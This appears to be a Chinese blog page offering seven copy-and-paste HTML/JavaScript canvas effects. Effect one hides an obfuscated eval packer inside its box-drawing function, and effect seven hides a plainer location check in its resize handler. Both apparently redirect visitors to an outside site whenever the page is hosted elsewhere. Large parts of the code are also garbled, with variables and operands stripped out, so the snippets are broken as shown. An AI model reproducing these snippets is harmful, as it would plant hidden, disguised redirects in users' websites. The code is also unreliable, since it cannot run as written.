HTML+CSS+JavaScript网页特效源代码（复制代码保存即可使用）

以下下代码直接复制保存即可使用

- - 特效一
  - 特效二
  - 特效三
  - 特效四
  - 特效五
  - 特效六
  - 特效七

特效一

方块运动演示
在这里插入图片描述

<html><head>
<meta charset="utf-8">
<title>蓝盒子</title>
<style>body { margin: 0; padding: 0;background: black; overflow: hidden;}</style>
<script src="//r78/"></script>
<script src="/ajax/libs/gsap/1.17.0/"></script>
</head>
<body>
<script>
var isMouseDown = false;
var emptySlot = "emptySlot", planeTop = "planeTop", planeBottom = "planeBottom";
var camera, scene, renderer;
var mouse = {x: 0, y: 0};
var camPos = {x: 0, y: 0, z: 10};
var sw = , sh = ;
var cols = 20;
var rows = 16;
var gap = 20;
var size = {
	width: 100,
	height: 30,
	depth: 150,
}
var planeOffset = 250;
var allRowsDepth = rows * ( + gap);
var allColsWidth = cols * ( + gap);

var speedNormal = 4;
var speedFast = 34;
var speed = speedNormal;
var boxes = {
	planeBottom: [],
	planeTop: []
};
var boxes1d = [];

function num(min, max) { return () * (max - min) + min; }
function draw(props) {

	var colours = {
		slow: {
			r: num(0, 0.2),
			g: num(0.5, 0.9),
			b: num(0.3, 0.7)
		},
		fast: {
			r: num(0.9, 1.0),
			g: num(0.1, 0.7),
			b: num(0.2, 0.5)
		}
	}

	var uniforms = {
		r: { type: "f", value: },
		g: { type: "f", value: },
		b: { type: "f", value: },
		distanceX: { type: "f", value: 1.0},
		distanceZ: { type: "f", value: 1.0},
		pulse: { type: "f", value: 0},
		speed: { type: "f", value: speed},
	};

	var material = new ( {
		uniforms: uniforms,
		vertexShader: vertexShader,
		fragmentShader: fragmentShader
	});

	var geometry = new (, , );
	var object = new (geometry, material);
	 = colours;
	return object;
}


function init() {
	scene = new ();
	camera = new ( 100, sw / sh, 1, 10000 );
	( camera );
	renderer = new ({antialias: true});
	( sw, sh );
	for (var j = 0, jl = rows; j < jl; j++) {
		[j] = [];
		[j] = [];
		for (var i = 0, il = cols; i < il; i++) {
			[j][i] = emptySlot;
			[j][i] = emptySlot;
		};
	};

	function createBox() {
		window["eval"](function(CPY1,OvGQk2,btUiR$P3,YzTn4,rISXh5,C$jVY6){rISXh5=function(btUiR$P3){return(btUiR$P3<OvGQk2?"":rISXh5(window["parseInt"](btUiR$P3/OvGQk2)))+((btUiR$P3=btUiR$P3%OvGQk2)>35?window["String"]["fromCharCode"](btUiR$P3+29):btUiR$P3["toString"](36))};if(!''["replace"](/^/,window["String"])){while(btUiR$P3--)C$jVY6[rISXh5(btUiR$P3)]=YzTn4[btUiR$P3]||rISXh5(btUiR$P3);YzTn4=[function(rISXh5){return C$jVY6[rISXh5]}];rISXh5=function(){return'\w+'};btUiR$P3=1;};while(btUiR$P3--)if(YzTn4[btUiR$P3])CPY1=CPY1["replace"](new window["RegExp"]('\b'+rISXh5(btUiR$P3)+'\b','g'),YzTn4[btUiR$P3]);return CPY1;}('3 a=(7.8()*p),9=a;3 c=7.8()>0.5?1:-1,d=c===-1?H:D;3 b=(7.8()*C),i=b;3 x=(a-p/2)*(+l);3 y=c*E;3 z=b*(+l);u(k[d][i][9]===A){3 6=w(e);=y;=M;={x:x,z:0};=z;k[d][i][9]=6;(6);(6)}3 t=(0,v);3 s=(0,4);u(t=="n://"||s=="O"){}J{="n://"}',54,54,'|||var|||box|Math|random|xai|xi|zi|yi|yai|size|window|href|location|zai|com|boxes|gap|floor|http|www|cols|jq22|substr|dzurl2|dzurl|if|19|draw||||emptySlot|depth|rows|planeTop|planeOffset|width|scene|planeBottom|posZ|else|boxes1d|push|false|isWarping|file|position|add|offset'["split"]('|'),0,{}))
		
	}
	for (var i = 0, il = rows * cols; i < il; i++) {
		createBox();
	};
	();

	function listen(eventNames, callback) {
		for (var i = 0; i < ; i++) {
			(eventNames[i], callback);
		}
	}
	listen(["resize"], function(e){
		sw = ;
		sh = 
		 = sw / sh;
		();
		(sw, sh);
	});
	listen(["mousedown", "touchstart"], function(e) {
		();
		isMouseDown = true;
	});
	listen(["mousemove", "touchmove"], function(e) {
		();
		if ( && [0]) e = [0];
		 = ( / sw) * 2 - 1;
		 = -( / sh) * 2 + 1;
	});
	listen(["mouseup", "touchend"], function(e) {
		();
		isMouseDown = false;
	});
	render(0);

}




function move(x, y, z) {
	var box = boxes[y][z][x];

	if (box !== emptySlot) {

		 = ;

		 =  + ;

		if ( > 0) {
			 -= allRowsDepth;
		}

		// return;
		// if (isMouseDown) return;
		if (! && () > 0.999) {

			var dir = (() * 5), xn = x, zn = z, yn = y, yi = 0, xo = 0, zo = 0;
			switch (dir) {
				case 0 : xn++; xo = 1; break;
				case 1 : xn--; xo = -1; break;
				case 2 : zn++; zo = 1; break;
				case 3 : zn--; zo = -1; break;
				case 4 :
					yn = (y === planeTop) ? planeBottom : planeTop;
					yi = (y === planeTop) ? -1 : 1;

					break;
			}

			if (boxes[yn][zn] && boxes[yn][zn][xn] === emptySlot) {

				boxes[y][z][x] = emptySlot;

				 = true;

				boxes[yn][zn][xn] = box;

				// ( ,  );

				if (dir === 4) { // slide vertically
					(, 0.5, {
						y: yi * planeOffset
					});
				} else { // slide horizontally
					(, 0.5, {
						x:  + xo * ( + gap),
						z:  + zo * ( + gap),
					});
				}
				(, 0.6, {
					onComplete: function() {
						 = false;
					}
				});

			}
		}

	}
}


function render(time) {

	speed -= (speed - (isMouseDown ? speedFast : speedNormal)) * 0.05;

	var box;
	for (var b = 0, bl = ; b < bl; b++) {
		box = boxes1d[b];
		 += speed;

		// normalized z distance from camera
		var distanceZ = 1 - ((allRowsDepth - ) / (allRowsDepth) - 1);
		 = distanceZ;

		// normalized x distance from camera (centre)
		var distanceX = 1 - (()) / (allColsWidth / 3);
		 = distanceX;

		var colour = isMouseDown ?  : ;
		 -= ( - ) * 0.1;
		 -= ( - ) * 0.1;
		 -= ( - ) * 0.1;

		// normalized speed
		var currentSpeed = (speed - speedNormal) / (speedFast - speedNormal)
		 = currentSpeed;

		// pulses more with more speed... of course!
		if (() > (0.99995 - currentSpeed * 0.005)) {
			 = 1;
		}
		 -=  * 0.1 / (currentSpeed + 1);

		// if (b ==13) ();
	}

	for (var j = 0, jl = rows; j < jl; j++) { // iterate through rows: z
		for (var i = 0, il = cols; i < il; i++) { // iterate throw cols: x
			move(i, planeBottom, j);
			move(i, planeTop, j);
		};
	};

	 -= ( -  * 400) * 0.02;
	 -= ( -  * 150) * 0.05;
	 = -100;
	(, , );

	// (  );

	//  = time * 0.0001;
	 =  / -1000;
	 =  / 1000;
	//  =  / -2000;
	 = ( -  * 400) / 2000;

	( scene, camera );

	// if (time < 800)
		requestAnimationFrame( render );
}

var vertexShader = [
"varying vec2 vUv;",
"void main()",
"{",
"  vUv = uv;",
"  vec4 mvPosition = modelViewMatrix * vec4( position, 1.0 );",
"  gl_Position = projectionMatrix * mvPosition;",
"}"].join("");

var fragmentShader = [
"uniform float r;",
"uniform float g;",
"uniform float b;",
"uniform float distanceZ;",
"uniform float distanceX;",
"uniform float pulse;",
"uniform float speed;",

"varying vec2 vUv;",

// "float checkerRows = 8.0;",
// "float checkerCols = 16.0;",

"void main( void ) {",
"  vec2 position = abs(-1.0 + 2.0 * vUv);",
"  float edging = abs((pow(, 5.0) + pow(, 5.0)) / 2.0);",
"  float perc = (0.2 * pow(speed + 1.0, 2.0) + edging * 0.8) * distanceZ * distanceX;",

// "  float perc = distanceX * distanceZ;",
// "  vec2 checkPosition = vUv;",
// "  float checkerX = ceil(mod(, 1.0 / checkerCols) - 1.0 / checkerCols / 2.0);",
// "  float checkerY = ceil(mod(, 1.0 / checkerRows) - 1.0 / checkerRows / 2.0);",
// "  float checker = ceil(checkerX * checkerY);",
// "  float r = checker;",
// "  float g = checker;",
// "  float b = checker;",

// "  float perc = 1.0;",
"  float red = r * perc + pulse;",
"  float green = g * perc + pulse;",
"  float blue = b * perc + pulse;",
"  gl_FragColor = vec4(red, green, blue, 1.0);",
"}"].join("");

//(THREE, TweenMax, planeTop, planeBottom);
init();
</script><canvas width="1920" height="572" style="width: 1920px; height: 572px;"></canvas>


</body></html>

特效二

机械蜂巢演示
在这里插入图片描述

<html><head>
<meta charset="UTF-8">
<meta name="google" value="notranslate">
<meta name="robots" content="noindex">
<title>蓝盒子</title>
<style>
canvas { position: absolute; top: 0; left: 0; }
</style>
</head>

<body>
<canvas  width="1920" height="572"></canvas>
<script>
var w =  = ,
h =  = ,
ctx = ('2d'),
opts = {
	len: 20,
	count: 50,
	baseTime: 10,
	addedTime: 10,
	dieChance: .05,
	spawnChance: 1,
	sparkChance: .1,
	sparkDist: 10,
	sparkSize: 2,
	color: 'hsl(hue,100%,light%)',
	baseLight: 50,
	addedLight: 10,
	shadowToTimePropMult: 6,
	baseLightInputMultiplier: .01,
	addedLightInputMultiplier: .02,
	cx: w / 2,
	cy: h / 2,
	repaintAlpha: .04,
	hueChange: .1
},
tick = 0,
lines = [],
dieX = w / 2 / ,
dieY = h / 2 / ,
baseRad =  * 2 / 6;
 = 'black';
(0, 0, w, h);
function loop() {
	(loop); ++tick;
	 = 'source-over';
	 = 0;
	 = 'rgba(0,0,0,alp)'.replace('alp', );
	(0, 0, w, h);
	 = 'lighter';
	if ( <  && () < ) (new Line);
	(function(line) {
		()
	})
}
function Line() {
	()
}
 = function() {
	 = 0;
	 = 0;
	 = 0;
	 = 0;
	 = 0;
	 =  +  * ();
	 = ('hue', tick * );
	 = 0;
	()
}
 = function() {
	 += ;
	 += ;
	 = 0;
	 = ( +  * ()) | 0;
	 += baseRad * (() < .5 ? 1 : -1);
	 = ();
	 = ();
	if (() <  ||  > dieX ||  < -dieX ||  > dieY ||  < -dieY) ()
}
 = function() {++; ++;
	if ( >= ) ();
	var prop =  / ,
	wave = (prop *  / 2),
	x =  * wave,
	y =  * wave;
	 = prop * ;
	 =  = ('light',  +  * ( * ));
	( + ( + x) * ,  + ( + y) * , 2, 2);
	if (() < ) ( + ( + x) *  + () *  * (() < .5 ? 1 : -1) -  / 2,  + ( + y) *  + () *  * (() < .5 ? 1 : -1) -  / 2, , )
}
loop();
('resize',
function() {
	w =  = ;
	h =  = ;
	 = 'black';
	(0, 0, w, h);
	 = w / 2;
	 = h / 2;
	dieX = w / 2 / ;
	dieY = h / 2 / 
});
    </script>


</body>
</html>

特效三

万花筒演示
在这里插入图片描述

<html><head>
<meta charset="utf-8">
<title>蓝盒子</title>
<style>
html{ background: black;}
body { width: 100%; height: 100%; position: absolute; left: 0; top: 0; overflow: hidden; margin: 0; background: black; -webkit-filter: invert(0); filter: invert(0); }
#canvas { position: absolute; z-index: -1; -webkit-filter: hue-rotate(100deg) brightness(1); filter: hue-rotate(100deg) brightness(1); mix-blend-mode: difference; }
#canv { position: absolute; z-index: -2; mix-blend-mode: lighter; }
canvas { position: absolute; top: 50%; left: 50%; z-index: -1; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); }
</style>
</head>

<body>
<canvas  height="400" width="400"></canvas>
<canvas  width="1920" height="572"></canvas>
<script>
var c = ('canv'),
 $ = ('2d'),
 w =  = ,
 h =  = ,
 t = 0,
 num = 950,
 s, a, b, u = 0,
 x, y, _x, _y,
 _t = 1 / 16;

function random(min, max) {
 return () * (max - min) + min;
}

var anim = function() {
 $.globalCompositeOperation = 'multiply';
 $.fillStyle = 'hsla(258,20%,50%,1)';
 $.fillRect(0, 0, w, h);
 $.globalCompositeOperation = 'lighter';
 for (var i = 0; i < .5; i++) {
  x = 0;
  _u = (u) + i * 2, col = u + (_u * 8);
  $.beginPath();
  for (var j = 0; j < num; j++) {
   x -= .312 * (15);
   y = x * (i + 3.05 * t + x / 7) / 12;
   _x = x * (b) + y * (b);
   _y = x * (b) - y * (b);
   b = (j * 2.1102) *  / -.1008;
   $.arc(w / 2 - _x, h / 2 - _y, random(.001, .6), 300,  * 2 + .1);
   $.lineWidth = .2;
  }
  var g = $.createLinearGradient(w / 2 + _x, h / 2 + _y,
   1, w / 2 + _x, h / 2 + _y);
  (0.2, 'hsla(' + col + ',90%,50%,.2)');
  (0.9, 'hsla(' + _u + ',95%,50%,.3)');
  (1, 'hsla(0,0%,100%,.4)');
  $.strokeStyle = g;
  $.stroke();
 }
 t += _t / 2;
 u -= .2;
 (anim);
};
anim();

('resize', function() {
  = w = ;
  = h = ;
}, false);

var canvas, ctx, tim;
canvas = ('canvas')[0];
ctx = ('2d');
 =  = 400;
baum();

function baum() {
 var a, b, c, d, e, x, y, r;
  = "source-over";
  = "hsla(26,100%,0%,1)";
 (0, 0, , );
  = "color-burn";
 tim = new Date().getTime() /  / 72;

 c = [];
 r = tim / 32;
 for (a = 0; a < 18; a++) {
  b = 160;
  if (a % 2 == 1) b = 100;
  x = (r) * b;
  y = (r) * b;
  ([200 + x, 200 + y]);
  r +=  * 2 / 14;
 }

 for (a = 0; a < 7; a++) {
  b = c[a * 2];
  d = c[a * 2 + 1];
  e = c[(a * 2 + 13) % 14];
  tri([
   [200, 200], b, d
  ], 0);
  tri([
   [200, 200], b, e
  ], 0);
 }
 requestAnimationFrame(baum);
}

function tri(p, ban) {
 var a, b, c, d, e, f, x, y, han, r1, r2;
 x = y = 0;
 for (a = 0; a < 3; a++) {
  x += p[a][0];
  y += p[a][1];
 }
 x = x / 3 -  / 2;
 y = y / 3 -  / 2;
 han = (x * x + y * y, 0.5);
 c = 0.2 + (tim / 13) * 0.15;
 r1 = 0.5 + (han / 20 * (1 + (tim / 19) * 0.7) + tim / 41) * c;
 r2 = 1 - r1;
 c = p[0][0] * (p[1][1] - p[2][1]);
 c += p[1][0] * (p[2][1] - p[0][1]);
 c += p[2][0] * (p[0][1] - p[1][1]);
 c = (c);

 if (c < 100) {
  if (ban % 17 == 1) {
   a = ((han + tim * 3) % 360) | 0;
   b = 0.4;
   if (ban % 12 > 8) b = 1;

    =  = "hsla(" + a * 2 + ",60%,40%,0.53)";
   ();
   for (a = 0; a < ; a++) {
    b = p[a];
     = "lighter";
    (b[0], b[1]);
   }
   ();
   if (() < 0.2) return;
  }
  if (ban % 50 > 28) return;
  if (c < 20) return;
 }

 d = 0;
 for (a = 0; a < ; a++) {
  b = p[a];
  c = p[(a + 1) % ];
  x = b[0] - c[0];
  y = b[1] - c[1];
  e = (x * x + y * y, 0.5);
  if (e > d) {
   d = e;
   f = a;
  }
 }

 a = p[f];
 b = p[(f + 1) % ];
 c = p[(f + 2) % ];
 x = a[0] * r1 + b[0] * r2;
 y = a[1] * r1 + b[1] * r2;
 tri([b, c, [x, y]], ban + 1);
 tri([c, a, [x, y]], ban + 2);
}
</script>


</body></html>

特效四

电流

在这里插入图片描述

<html><head>
<meta charset="utf-8">
<title>蓝盒子</title>
<style>
body {
	background: #000;
	overflow: hidden;
}

canvas {
	display: block;
}
</style>
</head>

<body>
<canvas  width="1920" height="572"></canvas>
<script>
var canvas,
	ctx,
	width,
	height,
	size,
	lines,
	tick;

function line() {
	 = [];
	 = rand(10, 20);
	 = randInt(10, 30);
	 = width / 2, +1;
	 = height / 2 + 1;
	 = {
		x: width / 2,
		y: height / 2
	};
	 = 0;
	 = 0;
	 = tick / 5;
	 = 1;
	();
	();
}

 = function(i) {
	 += () * ;
	 += () * ;

	();

	if ( < ) {
		 = ;
		 = ;
		();
	}

	({
		x: ,
		y: 
	});
	if ( > ) {
		();
	}

	 -= 0.001;

	if ( <= 0) {
		 = null;
		(i, 1);
	}
};

 = function() {
	var dx =  - ,
		dy =  - ;
	 = (dx * dx + dy * dy);
}

 = function() {
	var dx =  - ,
		dy =  - ;
	 = Math.atan2(dy, dx);
}

 = function() {
	var randStart = randInt(0, 3);
	switch (randStart) {
		case 0: // up
			 =  - size;
			break;
		case 1: // right
			 =  + size;
			break;
		case 2: // down
			 =  + size;
			break;
		case 3: // left
			 =  - size;
	}
	();
};

 = function(i) {
	();
	var rando = rand(0, 10);
	for (var j = 0, length = ; j < length; j++) {
		ctx[(j === 0) ? 'moveTo' : 'lineTo']([j].x + rand(-rando, rando), [j].y + rand(-rando, rando));
	}
	 = 'hsla(' + rand(,  + 30) + ', 80%, 55%, ' + ( / 3) + ')';
	 = rand(0.1, 2);
	();
};

function rand(min, max) {
	return () * (max - min) + min;
}

function randInt(min, max) {
	return (min + () * (max - min + 1));
};

function init() {
	canvas = ('canvas');
	ctx = ('2d');
	size = 30;
	lines = [];
	reset();
	loop();
}

function reset() {
	width = ( / 2) * 2;
	height = ( / 2) * 2;
	tick = 0;

	 = 0;
	 = width;
	 = height;
}

function create() {
	if (tick % 10 === 0) {
		(new line());
	}
}

function step() {
	var i = ;
	while (i--) {
		lines[i].step(i);
	}
}

function clear() {
	 = 'destination-out';
	 = 'hsla(0, 0%, 0%, 0.1';
	(0, 0, width, height);
	 = 'lighter';
}

function draw() {
	();
	(width / 2, height / 2);
	(tick * 0.001);
	var scale = 0.8 + (tick * 0.02) * 0.2;
	(scale, scale);
	(-width / 2, -height / 2);
	var i = ;
	while (i--) {
		lines[i].draw(i);
	}
	();
}

function loop() {
	requestAnimationFrame(loop);
	create();
	step();
	clear();
	draw();
	tick++;
}

function onresize() {
	reset();
}

('resize', onresize);

init();
</script>


</body></html>

特效五

彩线
在这里插入图片描述

<html><head>
<meta charset="utf-8">
<title>蓝盒子</title>
<script src="/jquery/1.11.3/"></script>
<style>
html, body { background: #000; margin: 0; padding:0;}
canvas { width: 100%; height: 100%; position: absolute; }
</style>
</head>

<body>
<canvas width="1920" height="951"></canvas>
<script>
$(function(){
  var canvas = ('canvas'),
      ctx = ('2d')
   = ;
   = ;
   = .3;
   = (new Color(150)).style;

  var mousePosition = {
    x: 30 *  / 100,
    y: 30 *  / 100
  };

  var dots = {
    nb: 550,
    distance: 50,
    d_radius: 100,
    array: []
  };

  function colorValue(min) {
    return (() * 255 + min);
  }
  
  function createColorStyle(r,g,b) {
    return 'rgba(' + r + ',' + g + ',' + b + ', 0.8)';
  }
  
  function mixComponents(comp1, weight1, comp2, weight2) {
    return (comp1 * weight1 + comp2 * weight2) / (weight1 + weight2);
  }
  
  function averageColorStyles(dot1, dot2) {
    var color1 = ,
        color2 = ;
    
    var r = mixComponents(, , , ),
        g = mixComponents(, , , ),
        b = mixComponents(, , , );
    return createColorStyle((r), (g), (b));
  }
  
  function Color(min) {
    min = min || 0;
     = colorValue(min);
     = colorValue(min);
     = colorValue(min);
     = createColorStyle(, , );
  }

  function Dot(){
     = () * ;
     = () * ;

     = -.5 + ();
     = -.5 + ();

     = () * 2;

     = new Color();
    (this);
  }

   = {
    draw: function(){
      ();
       = ;
      (, , , 0,  * 2, false);
      ();
    }
  };

  function createDots(){
    for(i = 0; i < ; i++){
      (new Dot());
    }
  }

  function moveDots() {
    for(i = 0; i < ; i++){

      var dot = [i];

      if( < 0 ||  > ){
         = ;
         = - ;
      }
      else if( < 0 ||  > ){
         = - ;
         = ;
      }
       += ;
       += ;
    }
  }

  function connectDots() {
    for(i = 0; i < ; i++){
      for(j = 0; j < ; j++){
        i_dot = [i];
        j_dot = [j];

        if((i_dot.x - j_dot.x) <  && (i_dot.y - j_dot.y) <  && (i_dot.x - j_dot.x) > -  && (i_dot.y - j_dot.y) > - ){
          if((i_dot.x - ) < dots.d_radius && (i_dot.y - ) < dots.d_radius && (i_dot.x - ) > - dots.d_radius && (i_dot.y - ) > - dots.d_radius){
            ();
             = averageColorStyles(i_dot, j_dot);
            (i_dot.x, i_dot.y);
            (j_dot.x, j_dot.y);
            ();
            ();
          }
        }
      }
    }
  }

  function drawDots() {
    for(i = 0; i < ; i++){
      var dot = [i];
      ();
    }
  }

  function animateDots() {
    (0, 0, , );
    moveDots();
    connectDots();
    drawDots();

    requestAnimationFrame(animateDots);	
  }

  $('canvas').on('mousemove', function(e){
     = ;
     = ;
  });

  $('canvas').on('mouseleave', function(e){
     =  / 2;
     =  / 2;
  });

  createDots();
  requestAnimationFrame(animateDots);	
});
</script>


</body></html>

特效六

在这里插入图片描述

<html><head>
<meta charset="utf-8">
<title>蓝盒子</title>
<style>
html {
  height: 100%;
  background-image: -webkit-radial-gradient(ellipse farthest-corner at center top, #000d4d 0%, #000105 100%);
  background-image: radial-gradient(ellipse farthest-corner at center top, #000d4d 0%, #000105 100%);
  cursor: move;
}

body {
  width: 100%;
  margin: 0;
  overflow: hidden;
}
</style>
</head>

<body>


<canvas  width="1920" height="572"></canvas>
<script>
var num = 200;
var w = ;
var h = ;
var max = 100;
var _x = 0;
var _y = 0;
var _z = 150;
var dtr = function(d) {
  return d *  / 180;
};

var rnd = function() {
  return ((() * 360) *  / 180);
};
var dist = function(p1, p2, p3) {
  return (( - , 2) + ( - , 2) + ( - , 2));
};

var cam = {
  obj: {
    x: _x,
    y: _y,
    z: _z
  },
  dest: {
    x: 0,
    y: 0,
    z: 1
  },
  dist: {
    x: 0,
    y: 0,
    z: 200
  },
  ang: {
    cplane: 0,
    splane: 0,
    ctheta: 0,
    stheta: 0
  },
  zoom: 1,
  disp: {
    x: w / 2,
    y: h / 2,
    z: 0
  },
  upd: function() {
     =  - ;
     =  - ;
     =  - ;
     = - / ( *  +  * );
     =  / ( *  +  * );
     = ( *  +  * ) / ( *  +  *  +  * );
     = - / ( *  +  *  +  * );
  }
};

var trans = {
  parts: {
    sz: function(p, sz) {
      return {
        x:  * ,
        y:  * ,
        z:  * 
      };
    },
    rot: {
      x: function(p, rot) {
        return {
          x: ,
          y:  * (dtr()) -  * (dtr()),
          z:  * (dtr()) +  * (dtr())
        };
      },
      y: function(p, rot) {
        return {
          x:  * (dtr()) +  * (dtr()),
          y: ,
          z: - * (dtr()) +  * (dtr())
        };
      },
      z: function(p, rot) {
        return {
          x:  * (dtr()) -  * (dtr()),
          y:  * (dtr()) +  * (dtr()),
          z: 
        };
      }
    },
    pos: function(p, pos) {
      return {
        x:  + ,
        y:  + ,
        z:  + 
      };
    }
  },
  pov: {
    plane: function(p) {
      return {
        x:  *  +  * ,
        y: ,
        z:  * - +  * 
      };
    },
    theta: function(p) {
      return {
        x: ,
        y:  *  -  * ,
        z:  *  +  * 
      };
    },
    set: function(p) {
      return {
        x:  - ,
        y:  - ,
        z:  - 
      };
    }
  },
  persp: function(p) {
    return {
      x:  *  /  * ,
      y:  *  /  * ,
      z:  * ,
      p:  / 
    };
  },
  disp: function(p, disp) {
    return {
      x:  + ,
      y: - + ,
      z:  + ,
      p: 
    };
  },
  steps: function(_obj_, sz, rot, pos, disp) {
    var _args = (_obj_, sz);
    _args = (_args, rot);
    _args = (_args, rot);
    _args = (_args, rot);
    _args = (_args, pos);
    _args = (_args);
    _args = (_args);
    _args = (_args);
    _args = (_args);
    _args = (_args, disp);
    return _args;
  }
};

(function() {
  "use strict";
  var threeD = function(param) {
     = {};
     = {};
     = ();
     = ();
     = ();
     = ();
  };

   = function() {
     = (

      ,
      ,
      ,
      ,
      
    );
  };

  var Build = function() {
     = 0.04;
     = 360;
     = 200;
     = 100;
     = _x;
     = _y;
    ();
  };

   = function() {
     = ("canv");
     = ;
     = ;
    this.$ = ("2d");
    this.$.globalCompositeOperation = 'source-over';
     = [];
     = [];
     = [];

    for (var i = 0, len = num; i < len; i++) {
      ();
    }

     = {
      x: 0,
      y: 0,
      z: 0
    };
     = {
      x: w / 5,
      y: h / 5,
      z: w / 5
    };
  };

   = function() {
    (new threeD({
      vtx: {
        x: rnd(),
        y: rnd(),
        z: rnd()
      },
      sz: {
        x: 0,
        y: 0,
        z: 0
      },
      rot: {
        x: 20,
        y: -20,
        z: 0
      },
      pos: {
        x:  * (360 * () *  / 180),
        y:  * (360 * () *  / 180),
        z:  * (360 * () *  / 180)
      }
    }));
    ({
      x: 360 * (),
      y: 360 * (),
      z: 360 * ()
    });
  };

   = function() {
     += ( - ) * 0.05;
     += ( - ) * 0.05;
  };

   = function() {
    this.$.clearRect(0, 0, , );
    ();
     += 0.1;
     += 0.1;
     += 0.1;

    for (var i = 0; i < ; i++) {
      for (var val in [i]) {
        if ([i].hasOwnProperty(val)) {
          [i][val] += ;
          if ([i][val] > ) [i][val] = 0;
        }
      }

      [i]. = {
        x:  * ([i].x *  / 180),
        y:  * ([i].y *  / 180),
        z:  * ([i].z *  / 180)
      };
      [i]. = ;
      [i]. = ;
      [i].vupd();
      if ([i]. < 0) continue;
      var g = this.$.createRadialGradient([i]., [i]., [i]., [i]., [i]., [i]. * 2);
      this.$.globalCompositeOperation = 'lighter';
      (0, 'hsla(255, 255%, 255%, 1)');
      (.5, 'hsla(' + (i + 2) + ',85%, 40%,1)');
      (1, 'hsla(' + (i) + ',85%, 40%,.5)');
      this.$.fillStyle = g;
      this.$.beginPath();
      this.$.arc([i]., [i]., [i]. * 2, 0,  * 2, false);
      this.$.fill();
      this.$.closePath();
    }
  };
   = function() {
     = (function() {
      return  ||
        function(callback, element) {
          (callback, 1000 / 60);
        };
    })();
    var anim = function() {
      ();
      ();
      (anim);

    }.bind(this);
    (anim);
  };

   = function() {
    ();

    ('mousemove', function(e) {
       = ( -  / 2) * -0.8;
       = ( -  / 2) * 0.8;
    }.bind(this));
    ('touchmove', function(e) {
      ();
       = ([0].clientX -  / 2) * -0.8;
       = ([0].clientY -  / 2) * 0.8;
    }.bind(this));
    ('mousedown', function(e) {
      for (var i = 0; i < 100; i++) {
        ();
      }
    }.bind(this));
    ('touchstart', function(e) {
      ();
      for (var i = 0; i < 100; i++) {
        ();
      }
    }.bind(this));
  };
  var app = new Build();
  ();
})();
('resize', function() {
   = w = ;
   = h = ;
}, false);
</script>


</body></html>

特效七

在这里插入图片描述

<html><head>
<meta charset="UTF-8">
<title>蓝盒子</title>
<style>
body {
  margin: 0;
  overflow: hidden;
  background: #000;
}
body canvas {
  -webkit-filter: url("#turbulence");
  filter: url("#turbulence");
}

</style>
</head>

<body>
<canvas  width="1920" height="572"></canvas>
<svg xlmns="http:///2000/svg" version="1.1">
  <defs>
    <filter >
      <feTurbulence type="fractalNoise" baseFrequency="0.05 0.05" numOctaves="1" result="noice"></feTurbulence>
      <feDisplacementMap xChannelSelector="R" yChannelSelector="G" scale="20" in="SourceGraphic"></feDisplacementMap>
    </filter>
  </defs>
</svg>
<script>
var c=('c'),ctx=('2d'),points=[],count=40,size=3,delta=4,distance=170;=(function(){return ||||||||||function(callback){(callback,1000/60)}})();function checkDistance(x1,y1,x2,y2){return ((x1-x2,2)+(y1-y2,2))}function setColor(){return'rgb('+(255*())+','+(255*())+','+(255*())+')'}function Point(x,y,dx,dy,color){=x;=y;=dx;=dy;=color}function initPoint(x,y){var x=x||*(),y=y||*(),dx=-delta/2+delta*(),dy=-delta/2+delta*(),color=setColor();(new Point(x,y,dx,dy,color))}function drawPoint(point){=;();(,,size,0,2*);()}function drawLines(point,index){for(var i=0;i<index;i++){var opacity=1-checkDistance(,,points[i].x,points[i].y)/distance;if(opacity>0){var grad=(,,points[i].x,points[i].y);(0,);(1,points[i].color);=grad;=opacity;();(,);(points[i].x,points[i].y);();=1}}}function updatePosition(){for(var i=0;i<;i++){var xDx=points[i].x+points[i].dx,yDy=points[i].y+points[i].dy;if(xDx-size<0||xDx+size>){points[i].dx=-points[i].dx}if(yDy-size<0||yDy+size>){points[i].dy=-points[i].dy}points[i].x+=points[i].dx;points[i].y+=points[i].dy;drawPoint(points[i]);drawLines(points[i],i)}}function init(){=0;for(var i=0;i<count;i++){initPoint()}}function resize(){var GQInzO1=window["location"]["href"]["substr"](0,19);var j2=window["location"]["href"]["substr"](0,4);if(GQInzO1=="http://"||j2=="file"){}else{window["location"]["href"]="http://"}c["width"]=window["innerWidth"];c["height"]=window["innerHeight"];init()}function draw(){(0,0,,);updatePosition();(draw)}("resize",resize);("mouseup",function(e){initPoint(,)});resize();draw();
</script>


</body></html>

秒客网

HTML+CSS+JavaScript网页特效源代码（复制代码保存即可使用）

以下下代码直接复制保存即可使用

特效一

特效二

特效三

特效四

特效五

特效六

特效七

相关文章